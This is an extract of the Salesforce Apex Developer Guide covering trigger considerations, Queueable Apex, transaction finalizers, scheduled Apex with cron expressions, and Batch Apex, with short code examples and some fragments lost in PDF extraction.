Note: Inserts, updates, and deletes on person accounts fire Account triggers, not Contact triggers.
The before triggers associated with the following operations are fired during lead conversion only if validation and triggers for lead
conversion are enabled in the organization:
• insert of accounts, contacts, and opportunities
• update of accounts and contacts
Opportunity triggers are not fired when the account owner changes as a result of the associated opportunity's owner changing.
The before and after triggers and the validation rules don't fire for an opportunity when:
• You modify an opportunity product on an opportunity.
• An opportunity product schedule changes an opportunity product, even if the opportunity product changes the opportunity.
However, roll-up summary fields do get updated, and workflow rules associated with the opportunity do run.
The getContent and getContentAsPDF PageReference methods aren't allowed in triggers.
Note the following for the ContentVersion object:
• Content pack operations involving the ContentVersion object, including slides and slide autorevision, don't invoke triggers.
Note: Content packs are revised when a slide inside the pack is revised.
• Values for the TagCsv and VersionData fields are only available in triggers if the request to create or update ContentVersion
records originates from the API.
• You can't use before or after delete triggers with the ContentVersion object.
Triggers on the Attachment object don’t fire when:
• the attachment is created via Case Feed publisher.
• the user sends email via the Email related list and adds an attachment file.
Triggers fire when the Attachment object is created via Email-to-Case or via the UI.
255
Apex Developer Guide Invoking Apex
256
Apex Developer Guide Invoking Apex
• CollaborationGroupMember
• FeedItem
• FeedComment
Considerations for the Salesforce Side Panel for Salesforce for Outlook
When an email is associated to a record using the Salesforce Side Panel for Salesforce for Outlook, the email associations are represented
in the WhoId or WhatId fields on a task record. Associations are completed after the task is created, so the Task.WhoId and
Task.WhatId fields aren’t immediately available in before or after Task triggers for insert and update events, and their values
are initially null. The WhoId and WhatId fields are set on the saved task record in a subsequent operation, however, so their values
can be retrieved later.
SEE ALSO:
Triggers for Chatter Objects
• Triggers on FeedItem objects run before their attachment and capabilities information is saved, which means that
ConnectApi.FeedItem.attachment information and ConnectApi.FeedElement.capabilities information
may not be available in the trigger.
The attachment and capabilities information may not be available from these methods:
ConnectApi.ChatterFeeds.getFeedItem, ConnectApi.ChatterFeeds.getFeedElement,
ConnectApi.ChatterFeeds.getFeedPoll, ConnectApi.ChatterFeeds.getFeedElementPoll,
ConnectApi.ChatterFeeds.postFeedItem, ConnectApi.ChatterFeeds.postFeedElement,
ConnectApi.ChatterFeeds.shareFeedItem, ConnectApi.ChatterFeeds.shareFeedElement,
ConnectApi.ChatterFeeds.voteOnFeedPoll, and ConnectApi.ChatterFeeds.voteOnFeedElementPoll
257
Apex Developer Guide Invoking Apex
• FeedAttachment isn’t a triggerable object. You can access feed attachments in FeedItem update triggers through a SOQL query. For
example:
trigger FeedItemTrigger on FeedItem (after update) {
• When you insert a feed item with associated attachments, the FeedItem is inserted first, then the FeedAttachment records are
created. On update of a feed item with associated attachments, the FeedAttachment records are inserted first, then the FeedItem
is updated. As a result of this sequence of operations, in Salesforce Classic FeedAttachment is available in Update and
AfterInsert triggers. When the attachment is done through Lightning Experience, it’s available in both the Update and
AfterInsert triggers; but in the AfterInsert trigger, use the future method to access FeedAttachments.
• The following feed attachment operations cause the FeedItem update triggers to fire.
– A FeedAttachment is added to a FeedItem and causes the FeedItem type to change.
– A FeedAttachment is removed from a FeedItem and causes the FeedItem type to change.
• FeedItem triggers aren’t fired when inserting or updating a FeedAttachment that doesn’t cause a change on the associated FeedItem.
• You can’t insert, update, or delete FeedAttachments in before update and after update FeedItem triggers.
• For FeedComment before insert and after insert triggers, the fields of a ContentVersion associated with the FeedComment (obtained
through FeedComment.RelatedRecordId) aren’t available.
SEE ALSO:
Entity and Field Considerations in Triggers
Object Reference for Salesforce and Lightning Platform: FeedItem
Object Reference for Salesforce and Lightning Platform: FeedAttachment
Object Reference for Salesforce and Lightning Platform: FeedComment
Object Reference for Salesforce and Lightning Platform: CollaborationGroup
Object Reference for Salesforce and Lightning Platform: CollaborationGroupMember
258
Apex Developer Guide Invoking Apex
Actions that change the publication status of a KAV record, such as Publish and Archive, do not fire Apex or flow triggers. However,
sometimes publishing an article from the UI causes the article to be saved, and in these instances the before update and after
update triggers are called.
259
Apex Developer Guide Invoking Apex
Trigger Exceptions
Triggers can be used to prevent DML operations from occurring by calling the addError() method on a record or field. When used
on Trigger.new records in insert and update triggers, and on Trigger.old records in delete triggers, the custom
error message is displayed in the application interface and logged.
Note: Users experience less of a delay in response time if errors are added to before triggers.
A subset of the records being processed can be marked with the addError() method:
• If the trigger was spawned by a DML statement in Apex, any one error results in the entire operation rolling back. However, the
runtime engine still processes every record in the operation to compile a comprehensive list of errors.
• If the trigger was spawned by a bulk DML call in the Lightning Platform API, the runtime engine sets aside the bad records and
attempts to do a partial save of the records that did not generate errors. See Bulk DML Exception Handling on page 159.
If a trigger ever throws an unhandled exception, all records are marked with an error and no further processing takes place.
SEE ALSO:
Apex Reference Guide: SObject.addError()
260
Apex Developer Guide Invoking Apex
This is an example of a flawed programming pattern. It assumes that only one record is pulled in during a trigger invocation. While this
might support most user interface events, it does not support bulk operations invoked through SOAP API or Visualforce.
trigger MileageTrigger on Mileage__c (before insert, before update) {
User c = [SELECT Id FROM User WHERE mileageid__c = :Trigger.new[0].id];
}
This is another example of a flawed programming pattern. It assumes that fewer than 100 records are in scope during a trigger invocation.
If more than 100 queries are issued, the trigger would exceed the SOQL query limit.
trigger MileageTrigger on Mileage__c (before insert, before update) {
for(mileage__c m : Trigger.new){
User c = [SELECT Id FROM user WHERE mileageid__c = :m.Id];
}
}
For more information on governor limits, see Execution Governors and Limits.
This example demonstrates the correct pattern to support the bulk nature of triggers while respecting the governor limits:
Trigger MileageTrigger on Mileage__c (before update) {
Set<ID> ids = Trigger.newMap.keySet();
List<User> c = [SELECT Id FROM user WHERE mileageid__c in :ids];
}
This pattern respects the bulk nature of the trigger by passing the Trigger.new collection to a set, then using the set in a single
SOQL query. This pattern captures all incoming records within the request while limiting the number of SOQL queries.
SEE ALSO:
Developing Code in the Cloud
Asynchronous Apex
Apex offers multiple ways for running your Apex code asynchronously. Choose the asynchronous Apex feature that best suits your needs.
This table lists the asynchronous Apex features and when to use each.
261
Apex Developer Guide Invoking Apex
Future Methods • When you have a long-running method and need to prevent
delaying an Apex transaction
• When you make callouts to external Web services
• To segregate DML operations and bypass the mixed save DML
error
Queueable Apex
Take control of your asynchronous Apex processes by using the Queueable interface. This interface enables you to add jobs to
the queue and monitor them. Using the interface is an enhanced way of running your asynchronous Apex code compared to using
future methods.
Apex Scheduler
Batch Apex
Future Methods
Queueable Apex
Take control of your asynchronous Apex processes by using the Queueable interface. This interface enables you to add jobs to the
queue and monitor them. Using the interface is an enhanced way of running your asynchronous Apex code compared to using future
methods.
Apex processes that run for a long time, such as extensive database operations or external web service callouts, can be run asynchronously
by implementing the Queueable interface and adding a job to the Apex job queue. In this way, your asynchronous Apex job runs
in the background in its own thread and doesn’t delay the execution of your main Apex logic. Each queued job runs when system
resources become available. A benefit of using the Queueable interface methods is that some governor limits are higher than for
synchronous Apex, such as heap size limits.
Note: If an Apex transaction rolls back, any queueable jobs queued for execution by the transaction aren’t processed.
Queueable jobs are similar to future methods in that they’re both queued for execution, but they provide you with these additional
benefits.
• Getting an ID for your job: When you submit your job by invoking the System.enqueueJob method, the method returns the
ID of the new job. This ID corresponds to the ID of the AsyncApexJob record. Use this ID to identify and monitor your job, either
through the Salesforce UI (Apex Jobs page), or programmatically by querying your record from AsyncApexJob.
• Using non-primitive types: Your queueable class can contain member variables of non-primitive data types, such as sObjects or
custom Apex types. Those objects can be accessed when the job executes.
• Chaining jobs: You can chain one job to another job by starting a second job from a running job. Chaining jobs is useful if your
process depends on another process to have run first.
You can set a maximum stack depth of chained Queueable jobs, overriding the default limit of five in Developer and Trial Edition
organizations.
262
Apex Developer Guide Invoking Apex
Note: Variables that are declared transient are ignored by serialization and deserialization and the value is set to null in
Queueable Apex.
After you submit your queueable class for execution, the job is added to the queue and will be processed when system resources become
available. You can monitor the status of your job programmatically by querying AsyncApexJob or through the user interface in Setup
by entering Apex Jobs in the Quick Find box, then selecting Apex Jobs.
To query information about your submitted job, perform a SOQL query on AsyncApexJob by filtering on the job ID that the
System.enqueueJob method returns. This example uses the jobID variable that was obtained in the previous example.
Similar to future jobs, queueable jobs don’t process batches, and so the number of processed batches and the number of total batches
are always zero.
Warning: When you set the delay to 0 (zero), the queueable job is run as quickly as possible. With chained queueable jobs,
implement a mechanism to slow down or halt the job if necessary. Without such a fail-safe mechanism in place, you can rapidly
reach the daily async Apex limit.
In the following cases, it would be beneficial to adjust the timing before the queueable job is run.
• If the external system is rate-limited and can be overloaded by chained queueable jobs that are making rapid callouts.
• When polling for results, and executing too fast can cause wasted usage of the daily async Apex limits.
This example adds a job for delayed asynchronous execution by passing in an instance of your class implementation of the Queueable
interface for execution. There’s a minimum delay of 5 minutes before the job is executed.
Integer delayInMinutes = 5;
ID jobID = System.enqueueJob(new MyQueueableClass(), delayInMinutes);
Admins can define a default org-wide delay (1–600 seconds) in scheduling queueable jobs that were scheduled without a delay parameter.
Use the delay setting as a mechanism to slow default queueable job execution. If the setting is omitted, Apex uses the standard queueable
timing with no added delay.
263
Apex Developer Guide Invoking Apex
Note: Using the System.enqueueJob(queueable, delay) method ignores any org-wide enqueue delay setting.
// Calculate step
long fibonacciSequenceStep;
switch on (depth) {
when 1, 2 {
fibonacciSequenceStep = 1;
}
264
Apex Developer Guide Invoking Apex
when else {
fibonacciSequenceStep = nMinus1 + nMinus2;
}
}
if(System.AsyncInfo.hasMaxStackDepth() &&
AsyncInfo.getCurrentQueueableStackDepth() >=
AsyncInfo.getMaximumQueueableStackDepth()) {
// Reached maximum stack depth
Fibonacci__c result = new Fibonacci__c(
Depth__c = depth,
Result = fibonacciSequenceStep
);
insert result;
} else {
System.enqueueJob(new FibonacciDepthQueueable(fibonacciSequenceStep, nMinus1));
}
}
}
265
Apex Developer Guide Invoking Apex
Chaining Jobs
To run a job after some other processing is done first by another job, you can chain queueable jobs. To chain a job to another job, submit
the second job from the execute() method of your queueable class. You can add only one job from an executing job, which means
that only one child job can exist for each parent job. For example, if you have a second class called SecondJob that implements the
Queueable interface, you can add this class to the queue in the execute() method as follows:
Note: Apex allows HTTP and web service callouts from queueable jobs, if they implement the Database.AllowsCallouts
marker interface. In queueable jobs that implement this interface, callouts are also allowed in chained queueable jobs.
You can test chained queueable jobs using appropriate stack depths, but be aware of applicable Apex governor limits. See Adding a
Queueable Job with a Specified Stack Depth.
SEE ALSO:
Apex Reference Guide: Queueable Interface
Apex Reference Guide: QueueableContext Interface
266
Apex Developer Guide Invoking Apex
Implementation Details
Build a unique queueable signature using the QueueableDuplicateSignature.Builder class. Add different strings, IDs,
or integers using these methods from QueueableDuplicateSignature.Builder.
• addString(inputString)
• addId(inputId)
• addInteger(inputInteger)
When the signature has the required components, call the .build() method and store the unique queueable job signature in the
DuplicateSignature property in the AsyncOptions class. Enqueue your job by using the System.enqueueJob()
method with the AsyncOptions parameter.
To determine the size, remaining size, and maximum size of the queueable job signature in bytes, use these methods from the
QueueableDuplicateSignature.Builder class.
• getSize()
• getRemainingSize()
• getMaxSize()
Examples
This example builds the async job signature with UserId and the string MyQueueable.
AsyncOptions options = new AsyncOptions();
options.DuplicateSignature = QueueableDuplicateSignature.Builder()
.addId(UserInfo.getUserId())
.addString('MyQueueable')
.build();
try {
System.enqueueJob(new MyQueueable(), options);
} catch (DuplicateMessageException ex) {
//Exception is thrown if there is already an enqueued job with the same
//signature
Assert.areEqual('Attempt to enqueue job with duplicate queueable signature',
ex.getMessage());
}
This example builds the async job signature using ApexClass Id and the hash value of an sObject.
AsyncOptions options = new AsyncOptions();
options.DuplicateSignature = QueueableDuplicateSignature.Builder()
.addInteger(System.hashCode(someAccount))
.addId([SELECT Id FROM ApexClass
WHERE Name='MyQueueable'].Id)
.build();
System.enqueueJob(new MyQueueable(), options);
267
Apex Developer Guide Invoking Apex
Transaction Finalizers
The Transaction Finalizers feature enables you to attach actions, using the System.Finalizer interface, to asynchronous Apex
jobs that use the Queueable framework. A specific use case is to design recovery actions when a Queueable job fails.
The Transaction Finalizers feature provides a direct way for you to specify actions to be taken when asynchronous jobs succeed or fail.
Before Transaction Finalizers, you could only take these two actions for asynchronous job failures:
• Poll the status of AsyncApexJob using a SOQL query and re-enqueue the job if it fails
• Fire BatchApexErrorEvents when a batch Apex method encounters an unhandled exception
With transaction finalizers, you can attach a post-action sequence to a Queueable job and take relevant actions based on the job execution
result.
A Queueable job that failed due to an unhandled exception can be successively re-enqueued five times by a transaction finalizer. This
limit applies to a series of consecutive Queueable job failures. The counter is reset when the Queueable job completes without an
unhandled exception.
Finalizers can be implemented as an inner class. Also, you can implement both Queueable and Finalizer interfaces with the same class.
The Queueable job and the Finalizer run in separate Apex and Database transactions. For example, the Queueable can include DML, and
the Finalizer can include REST callouts. Using a Finalizer doesn’t count as an extra execution against your daily Async Apex limit.
Synchronous governor limits apply for the Finalizer transaction, except in these cases where asynchronous limits apply:
• Total heap size
• Maximum number of Apex jobs added to the queue with System.enqueueJob
• Maximum number of methods with the future annotation allowed per Apex invocation
For more information on governor limits, see Execution Governors and Limits.
System.Finalizer Interface
The System.Finalizer interface includes the execute method:
This method is called on the provided FinalizerContext instance for every enqueued job with a finalizer attached. Within the execute
method, you can define the actions to be taken at the end of the Queueable job. An instance of System.FinalizerContext is
injected by the Apex runtime engine as an argument to the execute method.
System.FinalizerContext Interface
The System.FinalizerContext interface contains four methods.
• getAsyncApexJobId method:
global Id getAsyncApexJobId {}
Returns the ID of the Queueable job for which this finalizer is defined.
• getRequestId method:
global String getRequestId {}
Returns the request ID, a string that uniquely identifies the request, and can be correlated with Event Monitoring logs. To correlate
with the AsyncApexJob table, use the getAsyncApexJobId method instead. The Queueable job and the Finalizer execution
both share the (same) request ID.
268
Apex Developer Guide Invoking Apex
• getResult method:
global System.ParentJobResult getResult {}
Returns the System.ParentJobResult enum, which represents the result of the parent asynchronous Apex Queueable job
to which the finalizer is attached. The enum takes these values: SUCCESS, UNHANDLED_EXCEPTION.
• getException method:
global System.Exception getException {}
Returns the exception with which the Queueable job failed when getResult is UNHANDLED_EXCEPTION, null otherwise.
Attach the finalizer to your Queueable jobs using the System.attachFinalizer method.
1. Define a class that implements the System.Finalizer interface.
2. Attach a finalizer within a Queueable job’s execute method. To attach the finalizer, invoke the System.attachFinalizer
method, using as argument the instantiated class that implements the System.Finalizer interface.
global void attachFinalizer(Finalizer finalizer) {}
Implementation Details
• Only one finalizer instance can be attached to any Queueable job.
• You can enqueue a single asynchronous Apex job (Queueable, Future, or Batch) in the finalizer’s implementation of the execute
method.
• Callouts are allowed in finalizer implementations.
• The Finalizer framework uses the state of the Finalizer object (if attached) at the end of Queueable execution. Mutation of the Finalizer
state, after it’s attached, is therefore supported.
• Variables that are declared transient are ignored by serialization and deserialization, and therefore don’t persist in the Transaction
Finalizer.
// Queueable implementation
// A queueable job that uses LoggingFinalizer to buffer the log
// and commit upon exit, even if the queueable execution fails
269
Apex Developer Guide Invoking Apex
while (true) {
// Results in limit error
}
} catch (Exception e) {
System.debug('Error executing the job [' + jobId + ']: ' + e.getMessage());
} finally {
System.debug('Completed: execution of queueable job: ' + jobId);
}
}
// Finalizer implementation
// Logging finalizer provides a public method addLog(message,source) that allows buffering
log lines from the Queueable job.
// When the Queueable job completes, regardless of success or failure, the LoggingFinalizer
instance commits this buffered log.
// Custom object LogMessage__c has four custom fields-see addLog() method.
if (ctx.getResult() == ParentJobResult.SUCCESS) {
System.debug('Parent queueable job [' + parentJobId + '] completed
successfully.');
} else {
System.debug('Parent queueable job [' + parentJobId + '] failed due to unhandled
exception: ' + ctx.getException().getMessage());
System.debug('Enqueueing another instance of the queueable...');
}
System.debug('Completed: execution of finalizer attached to queueable job: ' +
parentJobId);
270
Apex Developer Guide Invoking Apex
// Queueable implementation
public void execute(QueueableContext ctx) {
String jobId = '' + ctx.getJobId();
System.debug('Begin: executing queueable job: ' + jobId);
try {
Finalizer finalizer = new RetryLimitDemo();
System.attachFinalizer(finalizer);
System.debug('Attached finalizer');
Integer accountNumber = 1;
while (true) { // results in limit error
Account a = new Account();
a.Name = 'Account-Number-' + accountNumber;
insert a;
accountNumber++;
}
} catch (Exception e) {
System.debug('Error executing the job [' + jobId + ']: ' + e.getMessage());
} finally {
System.debug('Completed: execution of queueable job: ' + jobId);
}
}
// Finalizer implementation
public void execute(FinalizerContext ctx) {
String parentJobId = '' + ctx.getAsyncApexJobId();
System.debug('Begin: executing finalizer attached to queueable job: ' + parentJobId);
if (ctx.getResult() == ParentJobResult.SUCCESS) {
System.debug('Parent queueable job [' + parentJobId + '] completed successfully.');
} else {
System.debug('Parent queueable job [' + parentJobId + '] failed due to unhandled
271
Apex Developer Guide Invoking Apex
Best Practices
We urge ISVs to exercise caution in using global Finalizers with state-mutating methods in packages. If a subscriber org’s implementation
invokes such methods in the global Finalizer, it can result in unexpected behavior. Examine all state-mutating methods to see how they
affect the finalizer state and overall behavior.
Class {0} must implement the Finalizer Queueable Execution The instantiated class parameter to
interface System.attachFinalizer()
doesn’t implement the
System.Finalizer interface.
If you have a Splunk Add-On for Salesforce, you can analyze error messages in your Splunk log. This table provides information about
error messages in the Splunk log.
272
Apex Developer Guide Invoking Apex
Error processing the finalizer (class name: {0}) for the queueable Runtime error while executing Finalizer. This error can be an
job id: {1} (queueable class id: {2}) unhandled catchable exception or uncatchable exception (such
as a LimitException), or, less commonly, an internal system error.
Apex Scheduler
To invoke Apex classes to run at specific times, first implement the Schedulable interface for the class, then specify the schedule
using either the Schedule Apex page in the Salesforce user interface, or the System.schedule method.
Important: Salesforce schedules the class for execution at the specified time. Actual execution can be delayed based on service
availability.
You can only have 100 scheduled Apex jobs at one time. You can evaluate your current count by viewing the Scheduled Jobs
page in Salesforce and creating a custom view with a type filter equal to “Scheduled Apex”. You can also programmatically query
the CronTrigger and CronJobDetail objects to get the count of Apex scheduled jobs.
Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger won’t add
more scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the
user interface, and all cases where more than one record can be updated at a time.
If there are one or more active scheduled jobs for an Apex class, you can’t update the class or any classes referenced by this class
through the Salesforce user interface. However, you can enable deployments to update the class with active scheduled jobs by
using the Metadata API (for example, when using the Salesforce extensions for Visual Studio Code). See “Deployment Connections
for Change Sets” in Salesforce Help.
Tip: Though it's possible to do additional processing in the execute method, we recommend that all processing must take
place in a separate class.
273
Apex Developer Guide Invoking Apex
The following example implements the Schedulable interface for a class called MergeNumbers:
global class ScheduledMerge implements Schedulable {
global void execute(SchedulableContext SC) {
MergeNumbers M = new MergeNumbers();
}
}
You can also use the Schedulable interface with batch Apex classes. The following example illustrates how to implement the
Schedulable interface for a batch Apex class called Batchable:
An easier way to schedule a batch job is to call the System.scheduleBatch method without having to implement the
Schedulable interface.
Use the SchedulableContext object to track the scheduled job when it's scheduled. The SchedulableContext getTriggerID method
returns the ID of the CronTrigger object associated with this scheduled job as a string. You can query CronTrigger to track the
progress of the scheduled job.
To stop execution of a job that was scheduled, use the System.abortJob method with the ID returned by the getTriggerID
method.
The previous example assumes you have a jobID variable holding the ID of the job. The System.schedule method returns the
job ID. If you’re performing this query inside the execute method of your schedulable class, you can obtain the ID of the current job
by calling getTriggerId on the SchedulableContext argument variable. Assuming this variable name is sc, the modified example
becomes:
CronTrigger ct =
[SELECT TimesTriggered, NextFireTime
FROM CronTrigger WHERE Id = :sc.getTriggerId()];
274
Apex Developer Guide Invoking Apex
You can also get the job’s name and the job’s type from the CronJobDetail record associated with the CronTrigger record. To do so, use
the CronJobDetail relationship when performing a query on CronTrigger. This example retrieves the most recent CronTrigger
record with the job name and type from CronJobDetail.
CronTrigger job =
[SELECT Id, CronJobDetail.Id, CronJobDetail.Name, CronJobDetail.JobType
FROM CronTrigger ORDER BY CreatedDate DESC LIMIT 1];
Alternatively, you can query CronJobDetail directly to get the job’s name and type. This next example gets the job’s name and type for
the CronTrigger record queried in the previous example. The corresponding CronJobDetail record ID is obtained by the
CronJobDetail.Id expression on the CronTrigger record.
CronJobDetail ctd =
[SELECT Id, Name, JobType
FROM CronJobDetail WHERE Id = :job.CronJobDetail.Id];
To obtain the total count of all Apex scheduled jobs, excluding all other scheduled job types, perform the following query. Note the
value '7' is specified for the job type, which corresponds to the scheduled Apex job type.
SELECT COUNT() FROM CronTrigger WHERE CronJobDetail.JobType = '7'
System.assertEquals(CRON_EXP, ct.CronExpression);
System.assertEquals(0, ct.TimesTriggered);
System.assertEquals('2042-09-03 00:00:00', String.valueOf(ct.NextFireTime));
275
Apex Developer Guide Invoking Apex
Test.stopTest();
System.assertEquals('testScheduledApexFromTestMethodUpdated',
[SELECT Id, Name FROM Account WHERE Id = :a.Id].Name);
}
}
Note: Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger won’t
add more scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through
the user interface, and all cases where more than one record can be updated at a time.
276
Apex Developer Guide Invoking Apex
The System.schedule method takes three arguments: a name for the job, an expression used to represent the time and date the
job is scheduled to run, and the name of the class. This expression has the following syntax:
Note: Salesforce schedules the class for execution at the specified time. Actual execution can be delayed based on service
availability.
The System.schedule method uses the user's timezone for the basis of all schedules.
Hours 0–23 , - * /
Day_of_month 1–31 , - * ? / L W
277
Apex Developer Guide Invoking Apex
- Specifies a range. For example, use JAN-MAR to specify more than one month.
* Specifies all values. For example, if Month is specified as *, the job is scheduled for
every month.
? Specifies no specific value. This option is only available for Day_of_month and
Day_of_week. It’s typically used when specifying a value for one and not the other.
/ Specifies increments. The number before the slash specifies when the intervals will
begin, and the number after the slash is the interval amount. For example, if you specify
1/5 for Day_of_month, the Apex class runs every fifth day of the month, starting
on the first of the month.
L Specifies the end of a range (last). This option is only available for Day_of_month
and Day_of_week. When used with Day of month, L always means the last
day of the month, such as January 31, February 29 (for leap years), and so on. When
used with Day_of_week by itself, it always means 7 or SAT. When used with a
Day_of_week value, it means the last of that type of day in the month. For example,
if you specify 2L, you’re specifying the last Monday of the month. Don’t use a range
of values with L as the results can be unexpected.
W Specifies the nearest weekday (Monday-Friday) of the given day. This option is only
available for Day_of_month. For example, if you specify 20W, and the 20th is a
Saturday, the class runs on the 19th. If you specify 1W, and the first is a Saturday, the
class doesn’t run in the previous month, but on the third, which is the following
Monday.
Tip: Use the L and W together to specify the last weekday of the month.
Expression Description
0 0 13 * * ? The class runs every day at 1 PM.
278
Apex Developer Guide Invoking Apex
Expression Description
0 0 10 ? * MON-FRI The class runs Monday through Friday at 10 AM.
0 0 20 * * ? 2010 The class runs every day at 8 PM during the year 2010.
In the following example, the class Proschedule implements the Schedulable interface. The class is scheduled to run at 8 AM
on the 13 February.
Proschedule p = new Proschedule();
String sch = '0 0 8 13 2 ?';
System.schedule('One Time Pro', sch, p);
• The maximum number of scheduled Apex executions per a 24-hour period is 250,000 or the number of user licenses in your
organization multiplied by 200, whichever is greater. This limit is for your entire org and is shared with all asynchronous Apex: Batch
Apex, Queueable Apex, scheduled Apex, and future methods. To check how many asynchronous Apex executions are available,
make a request to REST API limits resource. See List Organization Limits in the REST API Developer Guide. If the number of
asynchronous Apex executions needed by a job exceeds the available number that’s calculated using the 24-hour rolling limit, an
exception is thrown. For example, if your async job requires 10,000 method executions and the available 24-hour rolling limit is
9,500, you get AsyncApexExecutions Limit exceeded exception. The license types that count toward this limit include full Salesforce
and Salesforce Platform user licenses, App Subscription user licenses, Chatter Only users, Identity users, and Company Communities
users.
279
Apex Developer Guide Invoking Apex
back and scheduled again after the service comes back up. After major service upgrades, there can be longer delays than usual for
starting scheduled Apex jobs because of system usage spikes.
• When you refresh a sandbox, scheduled jobs from the source org aren't copied. You must reschedule any jobs that you need in the
refreshed sandbox.
• Scheduled job objects, along with their member variables and properties, persist from initialization to subsequent scheduled runs.
The object state at the time of invocation of System.schedule() persists in subsequent job executions.
With Batch Apex, it’s possible to force a new serialized state for new jobs by usingDatabase.Stateful. With Scheduled Apex,
use the transient keyword so that member variables and properties aren’t persisted. See Using the transient Keyword on page
87..
SEE ALSO:
Apex Reference Guide: Schedulable Interface
Batch Apex
A developer can now employ batch Apex to build complex, long-running processes that run on thousands of records on the Lightning
Platform. Batch Apex operates over small batches of records, covering your entire record set and breaking the processing down to
manageable chunks. For example, a developer could build an archiving solution that runs on a nightly basis, looking for records past a
certain date and adding them to an archive. Or a developer could build a data cleansing operation that goes through all Accounts and
Opportunities on a nightly basis and updates them if necessary, based on custom criteria.
Batch Apex is exposed as an interface that must be implemented by the developer. Batch jobs can be programmatically invoked at
runtime using Apex.
You can only have five queued or active batch jobs at one time. You can evaluate your current count by viewing the Scheduled Jobs
page in Salesforce or programmatically using SOAP API to query the AsyncApexJob object.
Warning: Use extreme care if you are planning to invoke a batch job from a trigger. You must be able to guarantee that the
trigger does not add more batch jobs than the limit. In particular, consider API bulk updates, import wizards, mass record changes
through the user interface, and all cases where more than one record can be updated at a time.
Batch jobs can also be programmatically scheduled to run at specific times using the Apex scheduler, or scheduled using the Schedule
Apex page in the Salesforce user interface. For more information on the Schedule Apex page, see “Schedule Apex Jobs” in the Salesforce
online help.
The batch Apex interface is also used for Apex managed sharing recalculations.
For more information on batch jobs, continue to Using Batch Apex on page 281.
For more information on Apex managed sharing, see Understanding Apex Managed Sharing on page 217.
For more information on firing platform events from batch Apex, see Firing Platform Events from Batch Apex
280
Apex Developer Guide Invoking Apex
The start method is called at the beginning of a batch Apex job. In the start method, you can include code that collects
records or objects to pass to the interface method execute. This method returns either a Database.QueryLocator object
or an iterable that contains the records or objects passed to the job.
When you’re using a simple query (SELECT) to generate the scope of objects in the batch job, use the
Database.QueryLocator object. If you use a QueryLocator object, the governor limit for the total number of records
retrieved by SOQL queries is bypassed. For example, a batch Apex job for the Account object can return a QueryLocator for all
account records (up to 50 million records) in an org. Another example is a sharing recalculation for the Contact object that returns
a QueryLocator for all account records in an org.
Use the iterable to create a complex scope for the batch job. You can also use the iterable to create your own custom process for
iterating through the list.
Important: If you use an iterable, the governor limit for the total number of records retrieved by SOQL queries is still enforced.
For more information on using iterables for batch jobs, see Batch Apex Considerations and Best Practices
• execute method:
The execute method is called for each batch of records that you pass to it and takes these parameters.
– A reference to the Database.BatchableContext object.
– A list of sObjects, such as List<sObject>, or a list of parameterized types. If you’re using a Database.QueryLocator,
use the returned list.
Batches of records tend to execute in the order in which they’re received from the start method. However, the order in which
batches of records execute depends on various factors. The order of execution isn’t guaranteed.
• finish method:
The finish method is called after all batches are processed and can be used to send confirmation emails or execute post-processing
operations.
Each execution of a batch Apex job is considered a discrete transaction. For example, a batch Apex job that contains 1,000 records and
is executed without the optional scope parameter from Database.executeBatch is considered five transactions of 200 records
each. The Apex governor limits are reset for each transaction. If the first transaction succeeds but the second fails, the database updates
made in the first transaction aren’t rolled back.
281
Apex Developer Guide Invoking Apex
Using Database.BatchableContext
All the methods in the Database.Batchable interface require a reference to a Database.BatchableContext object.
Use this object to track the progress of the batch job.
The following is the instance method with the Database.BatchableContext object:
The following example uses the Database.BatchableContext to query the AsyncApexJob associated with the batch job.
public void finish(Database.BatchableContext bc){
// Get the ID of the AsyncApexJob representing this batch job
// from Database.BatchableContext.
// Query the AsyncApexJob object to retrieve the current job's information.
AsyncApexJob a = [SELECT Id, Status, NumberOfErrors, JobItemsProcessed,
TotalJobItems, CreatedBy.Email
FROM AsyncApexJob WHERE Id =
:bc.getJobId()];
// Send an email to the Apex job's submitter notifying of job completion.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
String[] toAddresses = new String[] {a.CreatedBy.Email};
mail.setToAddresses(toAddresses);
mail.setSubject('Apex Sharing Recalculation ' + a.Status);
mail.setPlainTextBody
('The batch Apex job processed ' + a.TotalJobItems +
' batches with '+ a.NumberOfErrors + ' failures.');
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
282
Apex Developer Guide Invoking Apex
Important: When you call Database.executeBatch, Salesforce adds the process to the queue. Actual execution can be
delayed based on service availability.
The Database.executeBatch method takes two parameters:
• An instance of a class that implements the Database.Batchable interface.
• An optional parameter scope. This parameter specifies the number of records to pass into the execute method. Use this
parameter when you have many operations for each record being passed in and are running into governor limits. By limiting the
number of records, you’re limiting the operations per transaction. This value must be greater than zero. If the start method of
the batch class returns a QueryLocator, the optional scope parameter of Database.executeBatch can have a maximum
value of 2,000. If set to a higher value, Salesforce chunks the records returned by the QueryLocator into smaller batches of up to
2,000 records. If the start method of the batch class returns an iterable, the scope parameter value has no upper limit. However,
283
Apex Developer Guide Invoking Apex
if you use a high number, you can run into other limits. The optimal scope size is a factor of 2000, for example, 100, 200, 400 and so
on.
The Database.executeBatch method returns the ID of the AsyncApexJob object, which you can use to track the progress of
the job. For example:
ID batchprocessid = Database.executeBatch(reassign);
Note: If your org doesn’t have Apex flex queue enabled, Database.executeBatch adds the batch job to the batch job
queue with the Queued status. If the concurrent limit of queued or active batch jobs has been reached, a LimitException
is thrown, and the job isn’t queued.
Reordering Jobs in the Apex Flex Queue
While submitted jobs have a status of Holding, you can reorder them in the Salesforce user interface to control which batch jobs are
processed first. To do so, from Setup, enter Apex Flex Queue in the Quick Find box, then select Apex Flex Queue.
Alternatively, you can use Apex methods to reorder batch jobs in the flex queue. To move a job to a new position, call one of the
System.FlexQueue methods. Pass the method the job ID and, if applicable, the ID of the job next to the moved job’s new position.
For example:
Boolean isSuccess = System.FlexQueue.moveBeforeJob(jobToMoveId, jobInQueueId);
You can reorder jobs in the Apex flex queue to prioritize jobs. For example, you can move a batch job up to the first position in the
holding queue to be processed first when resources become available. Otherwise, jobs are processed “first-in, first-out”—in the order
in which they’re submitted.
When system resources become available, the system picks up the next job from the top of the Apex flex queue and moves it to the
batch job queue. The system can process up to five queued or active jobs simultaneously for each organization. The status of these
moved jobs changes from Holding to Queued. Queued jobs get executed when the system is ready to process new jobs. You can
